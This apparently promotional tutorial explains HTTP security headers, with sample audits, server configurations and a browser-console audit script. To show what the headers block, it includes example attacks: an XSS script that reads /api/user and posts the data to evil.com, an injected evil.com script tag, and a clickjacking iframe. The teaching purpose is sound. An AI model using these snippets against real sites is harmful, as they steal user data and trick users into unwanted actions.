Security Headers Audit: Is This Website Actually Secure?
A practical Fusebox guide to security headers audit.
Security Headers Audit: Is This Website Actually Secure?
Published: January 2024
Reading time: 8 minutes
Security headers are your website's armor. They prevent XSS, clickjacking, data leaks, and more. Most sites are missing critical headers. Here's how to audit any website's security posture in seconds.
The Essential Security Headers
1. Content-Security-Policy (CSP)
What it does: Controls where resources can load from Prevents: XSS attacks, data injection
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' cdnjs.cloudflare.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' fonts.gstatic.com;
Real attack prevented:
<!-- Attacker tries to inject -->
<script src="https://evil.com/steal.js"></script>
<!-- CSP blocks it: script-src doesn't include evil.com -->
2. Strict-Transport-Security (HSTS)
What it does: Forces HTTPS connections Prevents: Downgrade attacks, session hijacking
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
What each part means:
max-age=31536000- Remember for 1 yearincludeSubDomains- Apply to all subdomainspreload- Add to browser's HSTS list
3. X-Frame-Options
What it does: Prevents iframe embedding Prevents: Clickjacking attacks
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://trusted.com
Attack scenario blocked:
<!-- Evil site tries to embed your site -->
<iframe src="https://yourbank.com" style="opacity:0"></iframe>
<button style="position:absolute">Click for Prize!</button>
<!-- User thinks they're clicking prize, actually clicking bank transfer -->
4. X-Content-Type-Options
What it does: Prevents MIME type sniffing Prevents: Script injection via uploads
X-Content-Type-Options: nosniff
Attack prevented:
// User uploads "image.jpg" that's actually JavaScript
// Without nosniff: Browser might execute it
// With nosniff: Treated as image only
5. Referrer-Policy
What it does: Controls referer information Prevents: Data leaks to third parties
Referrer-Policy: strict-origin-when-cross-origin
Privacy protection:
From: https://mysite.com/users/john/private-data
To: https://analytics.com
Referer sent: https://mysite.com/ (path stripped)
6. Permissions-Policy
What it does: Controls browser features Prevents: Feature abuse
Permissions-Policy:
camera=(),
microphone=(),
geolocation=(self),
payment=(self "https://stripe.com")
Real-World Security Audits
Example 1: Major Bank Website
Headers found:
✅ Strict-Transport-Security: max-age=31536000; includeSubDomains
✅ X-Frame-Options: DENY
✅ X-Content-Type-Options: nosniff
✅ Content-Security-Policy: [comprehensive policy]
✅ Referrer-Policy: strict-origin-when-cross-origin
Security score: A+ Analysis: Properly secured, following best practices
Example 2: Popular E-commerce Site
Headers found:
✅ Strict-Transport-Security: max-age=86400
⚠️ X-Frame-Options: SAMEORIGIN
❌ Content-Security-Policy: [missing]
✅ X-Content-Type-Options: nosniff
❌ Referrer-Policy: [missing]
Security score: C Issues:
- No CSP = XSS vulnerability
- Short HSTS = downgrade possible
- No referrer policy = data leaks
Example 3: Small Business Site
Headers found:
❌ Strict-Transport-Security: [missing]
❌ X-Frame-Options: [missing]
❌ Content-Security-Policy: [missing]
❌ X-Content-Type-Options: [missing]
❌ Referrer-Policy: [missing]
Security score: F Critical: Wide open to attacks!
Common Security Header Mistakes
1. Weak CSP
# Bad: Too permissive
Content-Security-Policy: default-src *;
# Good: Restrictive with specific exceptions
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' specific-cdn.com;
object-src 'none';
2. Short HSTS Duration
# Bad: Only 1 day
Strict-Transport-Security: max-age=86400
# Good: 1 year minimum
Strict-Transport-Security: max-age=31536000
3. Missing Subdomains
# Bad: Main domain only
Strict-Transport-Security: max-age=31536000
# Good: All subdomains protected
Strict-Transport-Security: max-age=31536000; includeSubDomains
4. Deprecated Headers
# Outdated (don't use)
X-XSS-Protection: 1; mode=block
# Modern replacement
Content-Security-Policy: script-src 'self'
Quick Security Audit Script
// Run this in console to audit current site
(function auditSecurity() {
const headers = {
'Strict-Transport-Security': false,
'Content-Security-Policy': false,
'X-Frame-Options': false,
'X-Content-Type-Options': false,
'Referrer-Policy': false,
'Permissions-Policy': false
};
// Check response headers
fetch(window.location.href).then(response => {
for (const header of Object.keys(headers)) {
if (response.headers.get(header)) {
headers[header] = response.headers.get(header);
console.log(`✅ ${header}: ${headers[header]}`);
} else {
console.log(`❌ ${header}: MISSING`);
}
}
// Calculate score
const present = Object.values(headers).filter(h => h).length;
const score = (present / 6 * 100).toFixed(0);
console.log(`\nSecurity Score: ${score}%`);
if (score < 50) {
console.warn('⚠️ Critical security headers missing!');
}
});
})();
Implementation Guide
1. Apache (.htaccess)
# Security headers for Apache
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"
2. Nginx
# Security headers for Nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
3. Express.js
// Security headers for Node.js
const helmet = require('helmet');
app.use(helmet({
strictTransportSecurity: {
maxAge: 31536000,
includeSubDomains: true
},
frameguard: { action: 'deny' },
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-inline'"]
}
}
}));
4. Cloudflare (Easy Mode)
# Page Rules or Transform Rules
Add Header: Strict-Transport-Security = max-age=31536000
Add Header: X-Frame-Options = DENY
Add Header: X-Content-Type-Options = nosniff
CSP Deep Dive
Building a Strong CSP
# Start restrictive
Content-Security-Policy: default-src 'none';
# Add what you need
script-src 'self' 'unsafe-inline' cdnjs.cloudflare.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
CSP Violation Reporting
Content-Security-Policy:
default-src 'self';
report-uri /csp-violation-report;
report-to csp-endpoint;
Violation report example:
{
"csp-report": {
"blocked-uri": "https://evil.com/malware.js",
"disposition": "enforce",
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'"
}
}
Security Impact Examples
XSS Prevention
// Without CSP: This executes
<script>
fetch('/api/user')
.then(r => r.json())
.then(data => {
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
// With CSP: Blocked - evil.com not in connect-src
Clickjacking Prevention
<!-- Without X-Frame-Options -->
<iframe src="https://yourbank.com/transfer"
style="opacity:0.01; position:absolute; width:100%; height:100%">
</iframe>
<!-- With X-Frame-Options: DENY -->
<!-- Browser refuses to load in iframe -->
Testing Your Headers
Online Tools
- SecurityHeaders.io - Comprehensive scan
- Mozilla Observatory - Detailed analysis
- Hardenize - Enterprise grade
Command Line
# Check headers with curl
curl -I https://example.com
# Check specific header
curl -I https://example.com | grep -i strict-transport
# Full security audit
nmap --script http-security-headers example.com
Browser DevTools
- Open Network tab
- Reload page
- Click on main document
- Check Response Headers
Security Headers Checklist
Minimum Requirements
- HTTPS everywhere
- Strict-Transport-Security
- X-Frame-Options or CSP frame-ancestors
- X-Content-Type-Options
- Basic Content-Security-Policy
Recommended
- Comprehensive CSP
- Referrer-Policy
- Permissions-Policy
- HSTS Preload
Advanced
- CSP reporting
- Expect-CT
- Feature-Policy
- Report-To endpoints
Common Excuses (And Why They're Wrong)
"CSP is too complex"
Start simple: default-src 'self' then add exceptions
"It might break things"
Use report-only mode first:
Content-Security-Policy-Report-Only: default-src 'self'
"We don't need security headers"
Every site is a target. Headers are free protection.
"HTTPS is enough"
HTTPS is transport security. Headers prevent application attacks.
The Bottom Line
Security headers are:
- Free to implement
- Powerful protection
- Easy to add
- Essential for security
No excuse for missing them. Every header prevents real attacks.
Audit security headers instantly: Fusebox checks all security headers while you browse. See vulnerabilities and get fix recommendations. $29 one-time purchase.